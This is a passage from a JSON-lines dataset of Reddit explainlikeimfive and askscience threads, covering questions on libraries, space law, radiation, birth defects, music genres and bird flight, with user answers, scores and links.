state your answer in a way so that they can cut out the question later.) Sounds, good, right? But what if that's all they put of me in there, and then cut to the guy with the big hair, or just a narrator, who says, \"And so, if there is evidence that nuclear weapons went off in ancient India, and I believe there is, then we must conclude that aliens provided them. QED.\" Now I am in the unenviable position of at a bare minimum giving inadvertent and accident support to a really stupid theory, or, at worst, looking like I endorse it. Unless I had some kind of legal control over how my words and image would be used (and they would never give me that), there is no possible way I would not be at the mercy of the editor/producer.\n\nMy favorite historical documentaries are ones which focus on the subjective experiences of one or two people. Errol Morris' _Fog of War_ is great \u2014 it is powerful, it gets you inside the head of an important historical figure, and it provides some stunning illumination to many big historical questions. But even it has huge historical misrepresentations at times, because McNamara is allowed to tell the story his own way, and McNamara's versions of things (e.g. the Cuban Missile Crisis) are tailored to a very specific message he wants to get across, not necessarily historical truth. "]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=SyXcUMftRs8"], "answers_urls": [[], ["http://webcache.googleusercontent.com/search?q=cache:Qo8Csxpe8MIJ:https://journals.ku.edu/index.php/amerstud/article/download/2756/2715+&cd=3&hl=en&ct=clnk&gl=us&client=safari", "http://isites.harvard.edu/fs/docs/icb.topic1258095.files/White%20on%20Historiophoty.pdf", "http://s-usih.org/2012/11/historians-and-history-at-movies.html", "https://en.wikipedia.org/wiki/Historiography_of_the_French_Revolution_"], [], [], [], [], [], []]}
{"q_id": "1m6fh3", "title": "how do libraries acquire all their books?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1m6fh3/eli5_how_do_libraries_acquire_all_their_books/", "answers": {"a_id": ["cc670so", "cc67cd0", "cc69r71", "cc6a4v8", "cc6dlhr"], "score": [15, 4, 2, 3, 9], "text": ["In the UK, they buy them from suppliers. A local government might typically purchase thousands of books in one contractual agreement and share them out between the library branches within its geography.", "Of course, if there's a book you like that's *not* in your library, you're quite free to buy it yourself and donate it to them... but they still get to decide whether to put it on a shelf or not, if I recall. Good librarians are more like curators than anything else.", "Librarian with a Bachelors Degree here. As of in Germany (you may note that librarianship may vary alot in different countries), it kinda depends on what kind of library you are in. There are libraries who are to support the universities and such, libraries who are most similiar to public libraries in the US, but only for the public and mostly without an in-depth collection of for example law and medicine, also there are libraries who will collect and help distribute relevant book and publishings in a certain federal state (for example Baden-W\u00fcrttemberg). They all have different approaches to their collection. While the lastest libraries, those who collect (among other things tho) books etc from a special state, get a lot of their books from a law that says, that the national library has to get a copy of every book which is published (mostly by the big publishing companies, but also to a certain amount in very little issues). The national library then hands this task down to the state libraries, who collect the books from the publishers in their state. The other form, especially used in the public libraries, is that there are (kinda depens on the size of the library) special categories, like children, travelling, novels etc. Those categories are handled by a person who is responsible to keep that section up to date and mostly can freely chose what book to buy and which not. There are some companies who give out reviews of books especially designed for libraries, with an synopsis as well as an evaluation for what target group it might be used and if it is worth to upgrade a book from a former edition etc. Of course they want you to buy it from them. One of those companies and maybe the biggest of those in Germany is called the \"EKZ\". Also there is donations as mentioned before, or the people can make a suggestion to buy a certain book they feel is needed, and the librarians will decide if it is worth it. Most of the time the library grows slowly, especially if it is already operating for decades. New books are bought in batches, but also as single books, too. Some libraries also use a so called \"standing-order\", with those they'll get a certain amount of books from a special categorie automatically send to them, without having to order it (for example it is mostly used with bestsellers). Hope that helps.\n\nEdit: spelling mistakes, and i hope you forgive my terrible grammar.", "There are special databases for library organization to label and track any book of a library by title, content, author, publisher, lending date, account data... . They also connect to a central more regional database to enable borrowing rarer books from further away. Smaller more local libraries are often dependent on their connection to the next larger library.\n\nWith these databases and supply networks libraries can easily order a lot of books at once from any publisher and spread them between any library, containing any list of books. \n\nNew popular books have their specialized supply routes and some national suppliers and publishers specialized to supply libraries.", "Library Director here.  \n\nIt depends on the size of the library. Any library over a certain size has a specialist, usually called an Acquisitions Librarian. These can even take more specific roles like Children's Acquisitions Librarian or Youth....\n\nI personally use Baker and Taylor, which is a large wholesale style book conveyer belt. They have a network of publishers from which they draw, and you order everything through their website. They take care of all the dirty work. They give libraries roughly a 40% discount off the normal bookstore price, which is similar to what Amazon can also offer. \n\nAs for the decision making behind buying books, that's a process of knowing what authors your community likes, knowing what's popular, and even attempting to assert your own cultural standards into a portion of the collection (I've pushed Murakami so hard in my library, even though I can't seem to get anyone to bite). There are good resources like Booklist and a variety of websites out there that let you in on what's up and coming and what will be popular. \n\nI also like to just give in to any request made by patrons. That's the easiest way to acquire books for a smaller library. As long as you can maintain your budget (my budget is minuscule). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "3n2yec", "title": "how are other planets land masses divided up among nations if they become habitable? do they have a plan for this or is it first come first served?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3n2yec/eli5_how_are_other_planets_land_masses_divided_up/", "answers": {"a_id": ["cvkbrkt", "cvkbtxd", "cvkbu5h", "cvkjadt"], "score": [58, 13, 2, 2], "text": ["The general international agreement for this is the [Outer Space Treaty](_URL_0_), which says they belong to the commonality of Mankind and no state may appropriate or claim sovereignty over them. Most states with a significant space program are signatories to this treaty.  \nWhether they will continue to respect it if and when inhabitation of another planet becomes practically feasible is an open question.", "Treaty says that no governments or nations have the right to revendicate ownership of the moon for example, classified as the common heritage of humans. Although whatever you send on a planet is still the ownership of the sender. \n\nNothing is preventing individuals or corporations to go on another planet and \"claim\" the land but there's no rules or public protection to support that claim. So you would have to defend your business yourself\n\nCurrently space is anarchy ", "Currently, no one can own or claim a celestial body as their own. On January 27, 1967, the Outer Space Treaty was signed by the US, UK, and Soviet Union. It was entered into force on October 10 of the same year. The Outer Space Treaty basically forbids ownership of the moon or other celestial bodies (including planets). As of May 2013, 103 countries are parties to the Outer Space Treaty, with an additional 26 having signed it, but not completed ratification yet.\n\nSource: _URL_0_", "Hopefully by the time we start living on other planets, our overblown sense of nationalism will no longer hinder our collective cooperation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Outer_Space_Treaty"], [], ["https://en.m.wikipedia.org/wiki/Outer_Space_Treaty"], []]}
{"q_id": "4dxoaw", "title": "how does an exception prove a rule?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4dxoaw/eli5_how_does_an_exception_prove_a_rule/", "answers": {"a_id": ["d1v8luv", "d1v8r78", "d1v9q6h", "d1vhl6p", "d1vhqte"], "score": [26, 27, 5, 3, 3], "text": ["Most people use this phrase wrong.\n\nHere's what it means by example:\n\nIf you go to the beach and see a sign that says, \"No dogs except on leashes\". The implication is that dogs ARE allowed on the beach if they are on a leash, though the sign doesn't say that. **The exception** (no dogs *except* on leashes) **proves the rule** that dogs are allowed under certain conditions.\n\nAnother sign example would be a sign that read, \"No parking Monday - Friday\". The implication is that you ARE allowed to park there on the weekends because the exception of Mon-Fri proves that Sat and Sun are okay.", "(1) In formal logical reasoning, the exception proves the rule (rule, here, means a statement like *all swans are white*), with an archaic meaning of *prove*, which means *test.* If an exception appears to exist, it must be examined, and if it really does break the rule, the rule isn't correct.\n\n(2) In informal reasoning, like casual debate, if you have argued that a rule exists, and your opponent can only come up with a ridiculous or outlandish exception, that tends to support the understanding that your rule is mostly correct, at least in regard to ordinary cases. If there were exceptions to the rule that were common or familiar, those would be better counterexamples for your opponent to deploy, and his failure to do so suggests that they don't exist. So the presentation of a stupid exception (by someone who would prefer to present a good one) is evidence for the applicability of the rule in most cases.\n\n(3) In law, when a statute or sign or policy says that a rule (and we're back to the familiar meaning of *rule* here) applies under certain conditions, it implies that that rule *doesn't* apply when those conditions are absent. A sign that says *No Parking, 5pm-8pm* implies that parking is allowed at other times.", "You can't have an exception to a rule unless you have a rule to begin with.\n\nIf I tell you you aren't allowed to water your grass on Tuesday and Thrusday (the exception), you can infer from that you can water it on all other days (the rule).\n\nHowever, the most common use of that phrase is by people who are losing an argument.  They make an assertion, you provide an exception to it that invalidates it, and they parrot \"the exception proves the proves the rule!\" like a get out of jail free card.  In that case, it means \"I'm an idiot who doesn't understand how logic or language works\".", "There are two separate cases. /u/popisms covered the actual, formal *exceptio probat lex* idea; stating the exception implies the rule without stating it outright.\n\nThe other example is one where the you announce a general rule (say, \"all redheads love chocolate ice cream\"), someone else finds an exception (\"Janet is a redhead and she doesn't like chocolate ice cream\"), and then you find some way in which this exception illuminates the general rule. For example, maybe Janet is a brunette who dyes her hair; here the only exception you found confirms the rule because Janet isn't a real redhead (if we take that to be a genetic condition).  Or maybe Janet *used to* love chocolate ice cream but she stopped eating it because she became lactose intolerant.  \n\nWhatever the exact wrinkle in the example, the point is that *if* the only examples you can find which are evidence *against* a rule have some weird quirk in them that confirm the rule is only wrong under bizarre circumstances or under strange readings of the rule, that proves the rule is a good one.  If the rule is a bad one, you should be able to come up with tons of counter-examples that are not unusual in any way.", "Lets say there's a rule that says *\"Senior students are allowed to eat lunch off campus.\"*\n\nBecause this rule says that seniors are specifically allowed to eat off campus, it implies the existence of another rule that says all other students can *not* eat lunch off campus. By having a rule that says seniors are exempt from the normal policy of requiring students to eat on campus, it proves the existence of that normal policy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "bg3orr", "title": "why are certain frequencies more harmful than others? for instance, radio waves vs. x-rays?", "selftext": "EDIT: you guys are awesome! thanks so much!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bg3orr/eli5_why_are_certain_frequencies_more_harmful/", "answers": {"a_id": ["eli3ie6", "eli3ld3", "eli3mte", "eli3pfe", "eli3q6r"], "score": [8, 3, 2, 5, 2], "text": ["The difference is ionizing radiation vs nonionizing radiation. \n\nIonizing radiation have enough energy to when it hit a molecule to detach electrons from atoms and the result is that molecules can change. Nonionizing radiation do not have enough energy so the only thing it can do when it hit you is to heat you up.\n\nThe process is per particle that hit you so if we talk about electromagnetic radiation a single photons  need to have enough energy do detach a electron. So the radiation need  to be UV light or higher energy for it to be ionizing and radio waves have less energy that that so the only thing that it can do to damage you is by heating you up.", "Two major factors.  \n   \nOne is absorption.  An EM wave hitting your body isn't a big deal if it is reflected or passes through without much being absorbed by the body.  \n  \nThe other is energy.  A short wavelength carries more energy (given the same intensity). So x-rays and gamma rays, for example, can do a lot of damage when they are absorbed.  Radio waves of the same intensity carry a lot less energy, so even if they are absorbed (which they mostly aren't) they won't do as much damage.", "When you are talking about electromagnetic radiation, shorter wavelengths mean more energy and a greater likelihood of an interaction with matter while passing through it.\n\nFor instance, the reason the sky looks blue during the day is because blue light has a shorter wavelength than red light. That means that it has more energy, but it also means that it interacts more readily with matter while passing through it. So the atmosphere tends to scatter it a lot more, and it looks like it is coming from everywhere while the yellow and red light mostly looks like it is coming from just one spot in the sky.\n\nBlue light is more likely to be destructive than red light because of that higher energy. That is why old film photography would develop their photos in red lit rooms. The red light was not energetic enough to damage the film the same way blue light would be.", "Ultraviolet, X and gamma rays have more energy per photon. The energy is enough to cause electrons to leave their atoms (ionization). That causes chemical reactions. If DNA is damaged, that can cause cancer or birth defects.  \n\nRadio/micro waves/infrared only cause heating when they are absorbed. Visible light also causes heating, but can cause helpful chemical reactions like photosynthesis, vision, and vitamin D production without damage.", "It has to do with the amount of energy the radiation has. When the energy is low (for things like radio waves) it doesn't really have enough energy to disrupt anything. But when its very high like with x-rays, it has enough energy to tear the electrons from atoms and molecules.\n\nThat just messes everything up for anything exposed to it, as its causing damage at the scale that everything else is built upon."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "45lbzo", "title": "why do most pictures of deformed babies happen to be from southern asia? is there something specific to that region that causes it versus other 3rd world areas?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/45lbzo/eli5_why_do_most_pictures_of_deformed_babies/", "answers": {"a_id": ["czyku0l", "czyli16", "czymh4m", "czyq298", "czyqg5d"], "score": [28, 49, 3, 15, 5], "text": ["Have you looked at a world population map? Something like half the people on Earth live there.", "A large amount of people in sub-optimal conditions such as dirty water, little food, various diseases, etc is what many people believe.\n\nBut it's undeniable that Korea, Vietnam and Laos are all heavily affected by Agent Orange, Pink and Purple.\n\nThr Agents are herbicidal growth regulators used by American military forces in various campaigns to kill the foliage and prevent snipers from having cover to sit and wait in.\n\nThe problem with the Agents, particularly Agent Orange, is that it contains dioxins which bind with hormone receptors. When that occurs in pregnant women whose fetuses are still developing, it can simply stop certain developments from happening. This causes things like low bone density, malformed bones, lack of eyes or limbs, underdeveloped brains.\n\nIt's not just Southeast Asia that suffers from it many births in the USA have been affected by the chemicals because soldiers that were caught in the sprays have the poison in their bodies and passed it to their spouses via semen and caused defective births.", "Compared to the rich countries, they have more pollution and more diseases.\n\nCompared to Africa, they have more pollution and, frankly, more photos being taken and published.", "**Patient's Rights / Privacy / Exploitation**:\nMost people in the 3rd world, do not know that they have the right to refuse people taking pictures of their babies. I doubt that all of these \"non-profit organizations\" actually have the parents of the children sign consent / release forms.\nPeople in the 3rd world are poor, and are willing to let strangers take pictures of them and their babies, if it means that their babies can be treated. \nIf you go to a hospital in the USA and take a picture of deformed  a baby without the parents permission you will have your ass sued.\n\n**Statistics**:\nMost deformities are rare (incidence of 1/10,000 live births). If the incidence of deformity is the same in two populations, a small population with a small birth rate may have 1 case per year, where as a large population with a large birth rate may have 10 per year.\n\n**Prenatal Care** :\nIn western countries prenatal care is routine. Prenatal vitamins: Folic acid decreases the incidence of neural tube defects, as part of prenatal care. Women have routine ultrasounds to look for anomalies / birth defects. If the defect is not correctable, termination of pregnancy is an option.\nMany women in 3rd world countries have little or no access to health care, and the deliveries occur at home.\n\n**Genetic**: Asians have higher incidence of Cleft lip.\n\n**Infectious**: In western countries all children are given Rubella vaccine as part of MMR, and are immune to rubella. (except for children of anti-vaccers). In developed countries women that get the Rubella infection for the first time during pregnancy can have children with (deafness, blindness, heart defects, microcephaly).\nNo prenatal care also means women are also not treated/screened for vertically transmitted infections (TORCH).\n\n**Post Natal Care**:\nBirth defects in western countries are treated early so the prevalence is lower.\nIn the 3rd World, the birth defects are not corrected due to expenses of surgery. So there are more babies/children in the population that have defects.\n\n**Environmental / Food Regulation**\nWestern countries have more regulations, and regular monitoring of environmental pollutants. USA has FDA, and EPA. The air in China and India is filled with pollution. No regulation of Milk mean many cases of E. coli, and Tuberculosis. Pesticides as overused and often end up contaminating the water supply. Pesticides were found in soft drinks like Coca Cola in India. Japan had problem with nuclear contamination, due to the atomic bomb. Agent Orange caused birth defects in Vietnam.", "It also has a lot to do with patient doctor confidentiality. There is no such thing in India whereas if it would happen in the USA they would sue. Also all the deformed babies get detected during pregnancy and aborted at that time in Western countries, well most couples don't go to hospitals during pregnancy in South Asia"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "11yuj5", "title": "the series of unfortunate events?", "selftext": "I read all of the books in the Series of Unfortunate Events when I was pretty young, and I feel like I missed so much of the story! It was always so confusing to me, with all these mysteries and such to decode while the books were coming out. But yet I still read every book, and really enjoyed them, hahaha.\n\nI feel like I never really put together what the full story was, so if anyone could explain the most important details, such as things you had to kind of deduce on your own, I'd appreciate it so much!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/11yuj5/eli5_the_series_of_unfortunate_events/", "answers": {"a_id": ["c6qpqox", "c6qqczw", "c6r6jhp"], "score": [12, 3, 2], "text": ["An important point of the series is that it actually does NOT answer all the questions. It sort of has a theme of \"sometimes bad stuff happens, and sometimes there are mysteries that are never solved, but that's all part of life so it's OK.\"", "That is always a series i have wanted to reread to see what i missed. ", "There was a thread on this in Fan Theory a while back. Someone stated that the sugar bowl was a macguffin. But they made an amazing point on the story as a whole. I'll try to find it.\n\nFound it!\n\n _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.reddit.com/r/FanTheories/comments/109v9z/request_a_series_of_unfortunate_events/"]]}
{"q_id": "6mt56w", "title": "why is it so difficult for many people to argue effectively?", "selftext": "So many people I see arguing don't control themselves and get angry, whether or not they show it in their body language or expressions.  This seems to make it difficult for them to come up with arguments and counters quickly.  Why is that?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6mt56w/eli5_why_is_it_so_difficult_for_many_people_to/", "answers": {"a_id": ["dk4482v", "dk44yf4", "dk450t0", "dk45vf9", "dk48ecr"], "score": [5, 6, 2, 3, 68], "text": ["It can be a variety of things. Part of it can be how passionate they are about the subject. It gets then so fired up that they become irrational. \n\nMost commonly, I have seen that people who get angry when arguing do so because they are arguing belief moreso than fact. Not saying that what they are arguing isn't true but they usually don't have facts to back up what they are saying so when challenged, they get frustrated because you can't see things from their perspective. It makes so much sense to then that they don't get why you just don't get it.\n\n", "(Edit: English not my native language)  \n  \nIt's the primitive domination instinct to win/dominate your opponent. Or the social darwinistic approach = winning an argument in a crowd or publickly increases your Ethos/authority/reputation or whatever socially, while when losing, you lose this (as you lose face).  \n  \nMost people are too proud and have too strong egos to admit they are wrong and so on and may take arguments personally.  \n  \nThe most effective arguing is if you manage to persuade and argue your case without attacking your opponent's ego, reputation or person because they will me more inclined to agree they are wrong. You also have the problem with straight up stupidity. A person may be so ignorant and stupid that they will refuse to be wrong no matter the arguments or evidence. As when discussing religion with a religious fanatic.   \n  \nSo why is it so hard?  \n  \n**BOTH** people of an argument must enter an argument willing to forego their personal domination/winning instinct, they must both be aware that they may be wrong, and they must both be smart and wise enough to actually listen to eachother and make the arguing constructive. Which is... very hard to say the least.  Most people are bigger slaves to their emotions than logic which doesen't help either. Most arguments are over before they begin because both parties are predispositioned to make constructive arguments impossible.", "IMHO, this happens when the topic being discussed - or argued - is a closely held belief.  Especially one of moral or ethical nature, or a belief system.\n\nUsing and obviously hyperbole, I could have been raised to believe that sofas are sacred. They were given us by God and should be revered.  No matter how much you try to convince me other I won't believe sofas are mere furniture.  Moreover, I will not comprehend how anyone in their right mind could believe otherwise.", "Good arguing requires you to step outside your own beliefs and understand the other person's view.  You do this so that can speak in terms, words, and concepts that they will understand.  In a quick phrase: *if you do not understand your opponents beliefs, you don't understand your own beliefs.*\n\nA quick jaunt through reddit will show you that +90% of people are utterly incapable of this.  The result is millions of readers talking right past each other. ", "I get into a lot of arguments and I can tell you that there are a lot of answers to this question.\n\nThe first answer, probably the biggest driving force, is that often people argue to achieve an objective as opposed to have a discussion.  Argument, at its most basic level, involves an attempt to find the truth or correct outcome in a given situation and if someone is engaging in the argument to get what they want as opposed to figure out who should have it, they often get angry when the conversation turns against them.  For example.  I want you to pay me $3,000.  Your excuse for wanting that money is that I bumped into your car.  But that really isn't what it's about, for you this is just about you wanting $3,000 and the argument is your chosen path to achieve that objective.  When I point out that your car isn't worth 3,000, that I didn't damage it at all, and that I might be willing to pay for a car wash so any smudge I left on it is removed, you get angry because you might actually agree with my logic but it is going against you getting the result you want.  This is really arguing in bad-faith and it happens A LOT.  \n\nSecond, the argument can touch on a deeply held belief that you start to feel is being threatened.  If you believe in God and I start to raise questions about god's existence or lack thereof that are convincing and trigger something in your core to go \"shit... what if he is right?\" your reaction could be to be afraid, \"and fear leads to anger, anger to hate\".  \n\nThird, an argument is a contest of sorts.  Now its a contest where the facts matter more than anything else, but presentation, whit, rhetorical ability do have a big influence and if you feel like you are losing because you don't have a mastery of the facts or debate skills it can be frustrating.  Ever lose a basketball game?  It is frustrating as hell to feel like your body isn't doing what you tell it to do as well as the other person's body is.  There is this innate frustration when we can't perform the way we want.  Again this can lead to anger.\n\nFourth, an argument is inherently competitive and no one likes to lose.  This is different from point 3 which is a thing about skill, and just focuses on our natural desire to win contests of every kind.  \n\nFifth...  And this is the really hard one and is going to make me sound like a jerk.  Intelligence is on a bell curve.  Statistically you are smarter than half of everyone, and dumber than half of everyone.  That means your opinions, thoughts, and a lot of pride that you take in yourself and your opinions/beliefs have been arrived at with an average amount of consideration and intelligence brought to the task.  When you run into someone smarter than you who has given these topics more thought, used better reasoning, done more researched and better understood the research in question, you are going to find that the argument is revealing not only that you are wrong, but that you are dumber than the person you are arguing against.  There are certain faux pas in our society and being shown to be dumber than someone else is one of them.  Which again leads to getting angry. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "4etooq", "title": "how can goldman sachs pay a fine to the government for defrauding investors and not have to pay the investors for the money they lost?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4etooq/eli5_how_can_goldman_sachs_pay_a_fine_to_the/", "answers": {"a_id": ["d238crw", "d23bea3", "d23gth1", "d23jv8m"], "score": [212, 7, 40, 2], "text": ["The major investors were parts of the government (Freddie Fannie and the Federal Home Loan Banks).  Some of the settlement was paid to those investors.  Other investors may have their own lawsuits/settlements.", "Sometimes when you do something bad, your are liable to other citizens. Sometimes when you do something bad, you are liable to the government, which represents the interests of many citizens. Sometimes it is both.\n\nSo the fine that a company may need to pay to the government for being found guilty of some wrong-doing does not necessarily mean that individual citizens/organizations who were wronged cannot also enforce their rights and seek damages in their own suits.\n\nIn other words, in general, whether or not individuals who have been wronged go the extra step to sue directly has no bearing on whether or not the government will fine a company, though if the government has found such wrongdoing worthy of a fine, that could be helpful to those individuals who may be interested in suing. ", "$1.8 billion is being paid back to consumers: \n\n_URL_0_\n\nThis figure was also in the article that was on the front page a few days ago. You can clearly tell which commenters here haven't read the article, or probably many others on the subject.. :) ", "Better question: How the fuck is no one in jail for this shit? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://mobile.nytimes.com/2016/01/15/business/dealbook/goldman-to-pay-5-billion-to-settle-claims-of-faulty-mortgages.html?referer="], []]}
{"q_id": "1ewc29", "title": "What is the function of the outermost primary feather in bird flight? Why are they different sizes in different species?", "selftext": "For example it has been noted that the outermost primary feather eg. P10, is generally uniform within species, but can vary between species. What is the function of this feather?  How come some birds have lost it altogether? \n\nI can find no literature on the topic.\n\n_URL_0_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ewc29/what_is_the_function_of_the_outermost_primary/", "answers": {"a_id": ["ca4nr7h"], "score": [2], "text": ["I suspect you might have a hard time finding out exactly the answer you're searching for, for a number of reasons. Bio-inspired flight, and in general a detailed analysis of the aerodynamics of flying animals is a relatively recent research topic. I work in it rather indirectly; I can give you some general conversation, but not much for direct answers. Aerodynamics researchers typically aren't looking at the effects of individual feathers, but rather look at the general planform shape. Determining the effects of that single feather would be very difficult from an experimental point of view; I can simulate a rigid wing of that shape with and without that feather and tell you something, but when birds spread these outer feathers it tends to be in maneuvering and landing, where the airflow becomes very unsteady, and the feathers are anything but rigid. You can't just stick a bird in a wind tunnel and perform any kind of reliable experiment.\n\n\nIf I had to give an educated guess about the potential use of that feather based on the schematic given, I can think of a few reasons.  At high angles, a wing planform like that (without the feathers spread out) will stall on the outboard section before it will stall on the inboard.  You don't want to stall on the outboard, because that's where you have the best moment to control your body (i.e. aircraft have ailerons more on the outboard) -- check some youtube videos of hovering/landing birds to see how their muscles control the feathers. If you can keep the flow attached over that outer section, you'll prevent stall. To me, that feather looks a lot like a [leading edge slat commonly found on aircraft](_URL_0_), which would aid in allowing those larger outboard feathers to control the bird's attitude.\n\n\nI'll add that it's a mistake to assume all biological features have a \"purpose\" or \"function.\" It could a remnant of something that was useful further up in the evolutionary tree, or it could just be some genetic quirk that stuck around.\n\nOh, and I'm not terribly caught up on the state of research from the biological side. If this is actually an important mystery to people that study birds let me know; it could be enough of a reason for me to throw some computer time at it =P\n\n\nedit: After gazing at [this youtube video of a hawk hovering](_URL_1_), I'm reasonably confident that that feather is functioning as some kind of combination between a leading-edge slat and a vortex generator, both of which would energize the boundary layer of the controlling sections of wing directly behind it and aid in control."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/6Y8eakC.jpg"], "answers_urls": [["http://images.rcuniverse.com/forum/upfiles/337908/Ge95367.jpg", "https://www.youtube.com/watch?v=N_HEMwQ-Jvo"]]}
{"q_id": "4gxpx0", "title": "would free electricity be good or bad for the world?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4gxpx0/eli5_would_free_electricity_be_good_or_bad_for/", "answers": {"a_id": ["d2lq7jd"], "score": [2], "text": ["I highly doubt electricity will be truly free in the near future because there would need to be maintenence people working regardless of the infrastructure. It would more than likely be part of your taxes if it were \"free\".\n\nAs for whether or not it would be good for the world overall, there's no real way to tell. I'd say it would be mostly good, because the cost would be low by that point. We would probably be on solar/wind/nuclear by that point, which are far cheaper to maintain than gas, from what I've read.\n\nIt all depends on perspective, since there are downsides to both."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1tvu33", "title": "in music genres, what does \"progressive\" mean, like \"progressive rock\" or \"progressive metal\"", "selftext": "My best guess is that they are sticking to the overall genre of rock or metal or whatever, but they want to experiment with new sounds. But honestly, i don't know how else to describe it. Just hoping for a better explanation than the one i have :)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tvu33/eli5_in_music_genres_what_does_progressive_mean/", "answers": {"a_id": ["ceby0js", "cec06sd", "cec3300", "cec48jr"], "score": [25, 19, 5, 4], "text": ["That's basically it. \n\nMusic genres are sometimes confusing and difficult to understand, however. For instance, though you would think that they are synonymous, \"art rock\" and \"progressive rock\" refer to different kinds of music.\n\nSo, to understand the difference, you have to look at WHERE they come from. \"Progressive rock\" was a more experimental form of rock music that came out of psychedelic and space rock of the 1960s, and mimicked those genres' emphasis on long, improvised jams, strangely tuned guitars and heady, drug-fueled lyrics. In addition, many bands at the time were experimenting with using classical instruments and string arrangements in this kind of music, like Procol Harem and the Moody Blues. So, progressive rock was born as a sort of pseudo-intellectual, artsy form of psychedelic rock with the \"new sounds\" you described and more poetic lyrics. While some prog is popular and well-liked, it is often derided in professional criticism as being pompous and pretentious, featuring long, droning songs divided into \"movements\" and purported to be influenced by classical music. These bands included Pink Floyd, ELP, King Crimson, Yes and Rush.\n\nProgressive metal is basically exactly the same, but with more of a metal influence. It is called progressive metal because it was influenced by progressive rock. I'm talking about bands like Dream Theater here.\n\nArt rock is an entirely separate movement that went in similar directions, experimenting with classical and jazz influences in modern rock and pop music. However, instead of creating long, multi-part songs with colorful lyrics, it is much more in-line with the typical rock song, but with experiments in lyrics, meter and instruments. Typically art rock also incorporated elements of world music, like reggae and (later) hip-hop. Art rock musicians include David Bowie, Talking Heads, Roxy Music and Brian Eno (who straddles a line between prog and art rock).", "More complex time signatures, more complex chord progressions, more experimentation, more conceptual themes.", "Also how does this translate to Progressive EDM like deadmau5, Kaskade, Avicii and the like?", "Much of \"mainstream\" rock is based around a chorus, and the interim bits that we all recognise.\n\nProgressive rock is largely jazz or classical based music, with many changes and longer track lengths to suit it. The idea was to expand upon the basic pop-rock style song into something more advanced, and as many of the groups from the 1970's were classically trained, that was the direction they headed. \n\nIf you are interested in the genre, a good place to start would be with bands from the early to mid 1970's, such as the previously stated Yes (Close to the Edge is phenomenal), King Crimson (In the Court of the Crimson King is their best known work) or Pink Floyd (I'd suggest Wish You Were Here). Early Genesis (the Peter Gabriel era) is also excellent, and I'd suggest listening to some of their more accessible work such as \"The Knife\" from their album Trespass or \"Dancing With the Moonlight Knight\" from Selling England by the Pound. Jethro Tull wrote \"Thick as a Brick\" which is a single song split between the record sides and has many folk elements, incredible lyrics and beautiful melodies: This is the album that really hooked me on Prog-Rock, and another good starting place.\n\nMany folks find the genre hard to understand, but it's very satisfying music to listen to and never gets old from constant replays.\n\nEnjoy!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2p883z", "title": "canada's new prostitution laws as of late 2014.", "selftext": "I am just very confused on the whole thing.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2p883z/eli5_canadas_new_prostitution_laws_as_of_late_2014/", "answers": {"a_id": ["cmu8iqz"], "score": [113], "text": ["So you see a nice prostitute and you say ayyy bby u want sum fuk?  That's legal. But if she walks up to you and says hey big boy $100 make you holla. That's not legal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2dsarr", "title": "Is it possible to determine position in time and space using known pulsars?", "selftext": "It seems, based on [other questions](_URL_0_) already asked, that there are situations where one could use known pulsars to determine position in space. However, the examples I can find seem to assume knowledge of time, as well.\n\nHypothetically, if you fell asleep on a near-light-speed vessel, and woke up somewhere unknown in the galaxy, could you determine where you are, not knowing for sure *when* you are?\n\nThe caveats that are vexing me:\n \n* If you have an onboard clock, it may not be reliable; you might have flown for a million years, orbiting the galaxy's core, but you experienced a much shorter time in your local time frame. Perhaps if you had a perfect record of your ship's velocity you could reverse engineer the \"absolute\" time elapsed (i.e. as measured from Earth).\n* If you can't count on a clock, then even if you could find your coordinates in space through pulsar triangulation, would you know how long your Earthbound friends perceived your journey to be? Is it the year 2050 AD, or 2 million AD?\n* Pulsars seem to slow down over time. Do we know the exact rate at which they do? Do they all slow down at different rates? If we know those rates, do we know them with enough precision to be able to calculate elapsed time since they were first observed (roughly speaking, 2000 AD)? And if they've been slowing down all this time, perhaps at different rates, could we even uniquely identify any given pulsar, given that we identify them by their frequencies, which would have changed?\n* Another concern is that pulsars seem to send most of the measurable radiation that tells us their frequency only along narrow cones. Given a random position in the galaxy, is it likely that any of the known pulsars would reach you? Would you encounter many new pulsars that Earthbound observers cannot see? And a simpler problem: if you're on the other side of the galactic disk, will you be able to see the known pulsars? I can't seem to find a general guideline for how far their signal is likely to travel.\n\nAs you can see, there are a lot of variables here, but it really 